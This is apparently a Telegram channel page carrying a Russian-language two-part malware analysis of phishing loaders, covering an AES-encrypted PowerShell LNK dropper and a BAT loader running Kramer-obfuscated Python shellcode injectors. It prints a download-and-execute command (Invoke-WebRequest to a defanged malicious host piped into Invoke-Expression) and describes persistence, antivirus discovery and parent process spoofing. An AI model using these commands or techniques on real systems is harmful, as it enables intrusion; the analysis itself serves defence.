318 subscribers
70 photos
12 links
Здесь публикуют лучший контент про безопасность
Download Telegram
Channel created
Channel name was changed to «uFactor»
Channel photo removed
Channel name was changed to «UserGate uFactor»
Channel photo updated
🚀 Друзья, привет! Представляем вам наше самое первое исследование: рассмотрим два разных сценария загрузки основных вредоносных модулей на компьютерную систему атакуемого.

Основным вектором атаки в них выступает фишинговая рассылка. Файлы, приложенные к письму, обычно упакованы в ZIP-архив, иногда архив защищен паролем для обхода СЗИ (пароль указывается в тексте сообщения).

Материал большой, поэтому мы разделили его на две части по сценариям. Полное исследование можно прочитать в нашей статье на Хабре.

⚙️ Сценарий 1: криптография в LNK-файле

В качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Выполнение запускается через CMD или PowerShell, но возможны и другие методы. Часто применяются способы сокрытия команд — кодирование, обфускация или шифрование, что затрудняет детектирование средствами защиты информации.

👁 Рассмотрим на примере вредоносного LNK-файла способ сокрытия ключевой информации с использованием шифрования.

Для просмотра содержимого можно использовать hex-редактор, команды xxd или cat в Unix-подобных системах. Некоторые hex-редакторы отображают не сам LNK-файл, а содержимое файла, на который он ссылается, — будьте внимательны.

На рисунке 1 представлен фрагмент содержимого вредоносного LNK-файла, открытый при помощи hex-редактора. На рисунке 2 — фрагмент содержимого вредоносного LNK-файла, открытый при помощи утилиты cat. Скопируем сценарий и приведем его в более удобный для чтения вид.

Сценарию передаются два аргумента — a и b в base64, где a — зашифрованный сценарий, b — ключ (рисунок 3). Также создается объект System.Security.Cryptography.AesManaged для работы с AES. Аргументы записываются в переменные $a и $b.

Для дешифровки используем PowerShell, немного изменив команды и исключив Invoke-Expression $h, чтобы избежать выполнения основного сценария.

На рисунке 4 представлен расшифрованный вредоносный сценарий: $script = Invoke-WebRequest -Uri 'https://emptyservices[.]xyz/public/904e5c82a258472395094ca10082fdfb.txt' -UseBasicParsing.

Invoke-Expression $script.Content
считывает содержимое файла с удаленного ресурса и выполняет его.

🦉 Еще немного интересного

Дополнительную нагрузку можно получить для анализа, либо заменив Invoke-Expression $script.Content на echo $script.Content в PowerShell, либо использовав curl, либо скачав из браузера (но на момент исследования вредоносная нагрузка, к сожалению, была недоступна).

Также отметим, что переменная $KEYIV (рисунок 3), скорее всего, является ключом для расшифровки сценария в указанном файле.

➡️ Продолжение — ниже 👀
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3🔥2👍1
👋 Представляем вторую часть нашего исследования по загрузке вредоносных модулей на компьютерную систему атакуемого.

В первой части мы рассмотрели, как в качестве промежуточного звена для загрузки основного вредоносного модуля могут применяться файлы MS-SHLLINK. Теперь рассмотрим сценарий, в котором загрузчиком выступает BAT-файл с обфускацией.

⚙️ Сценарий 2: BAT-файл и обфускация Kramer в Python Malware

Рассмотрим сценарий доставки и исполнения основных вредоносных модулей.

Загрузчиком выступает командный BAT-файл. Злоумышленники не применяют сложную обфускацию, а меняют кодировку текста. Если мы попытаемся просмотреть содержимое с помощью стандартных средств, например через Notepad, то едва ли сможем что-либо прочитать (рисунок 5).

Чтобы получить читаемые данные, воспользуемся ресурсом CyberChef и плагином Text_Encoding_Brute_Force (рисунок 6). Скопируем полученную информацию в текстовый редактор и приведем код в читаемый вид.

👁 Как видим, командный сценарий вредоносного BAT-файла (рисунки 7 и 8) прост:

1) попытка открыть любой PDF-файл в %USERPROFILE%\Downloads (предположительно, для отвлечения);
2) поиск процессов антивирусов;
3) загрузка файлов из интернета;
4) разархивация и перемещение;
5) запуск Python-скриптов;
6) загрузка дополнительных модулей;
7) размещение в автозапуске;
8) повторная загрузка и разархивация файлов.

💡 Что внутри?

Содержимое файла startuppp.bat (рисунок 8), добавленного в автозапуск, также закодировано. На рисунке 9 — команды в файле после преобразования.

Из команд в startuppp.bat видно, что файл отвечает за запуск последних загруженных и разархивированных Python-скриптов. На момент исследования все файлы доступны и их можно скачать, например, через браузер.

Рассмотрим содержимое архива FTSP.zip (рисунок 10). Следует обратить внимание на файлы: fv1.py, fv2.py, fv3.py, fv4.py, fv5.py, fv6.py, yam1.py, yam2.py, yam3.py, yam4.py, yam5.py, yam6.py. При открытии любого из них видно, что это скомпилированные Python-файлы. Фрагмент содержимого yam1.py показан на рисунке 11.

Воспользуемся ресурсом для декомпиляции PyLingual. Для примера возьмем файл yam1.py, предварительно изменив расширение на .pyc (рисунок 12).

Если внимательно изучить код на рисунке 12, можно увидеть class Kramer. После анализа кода становится ясно, что к файлу применена обфускация с помощью приложения Kramer.

Воспользуемся деобфускатором kramer-specter_deobf. После деобфускации получаем код на рисунке 13. Из кода видно, что скрипт расшифровывает шеллкод, записывает его в память и запускает. Алгоритм одинаков для всех файлов. Расшифрованный шеллкод можно получить способом, показанным на рисунке 14, и проанализировать в дизассемблере или отладчике.

💀 Вредоносов много, алгоритм — один

При динамическом анализе становится ясно, что все указанные вредоносные файлы работают одинаково. После запуска, в зависимости от условий (рисунок 9), каждый модуль запускает notepad.exe и внедряет в него код. В результате получаем шесть процессов notepad.exe с разными PID. Особенность заключается в применении техники parent process spoofing, из-за чего родительским процессом кажется Explorer.exe, что усложняет детектирование.

✖️ Даже простые кибератаки могут быть эффективны

К такому выводу приводит проведенный анализ. Мы разобрали два сценария: в одном использован LNK-файл, в другом — BAT-файл. В обоих случаях злоумышленники применяют техники сокрытия вредоносного кода для обхода автоматизированных СЗИ. И этого может быть достаточно для успешных атак. Детальный ручной анализ помогает выявить тактики и техники злоумышленников, получить дополнительные индикаторы компрометации — и построить надежную защиту.

➡️ Полную версию исследования читайте в нашей статье на Хабре 💙
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👏2🔥1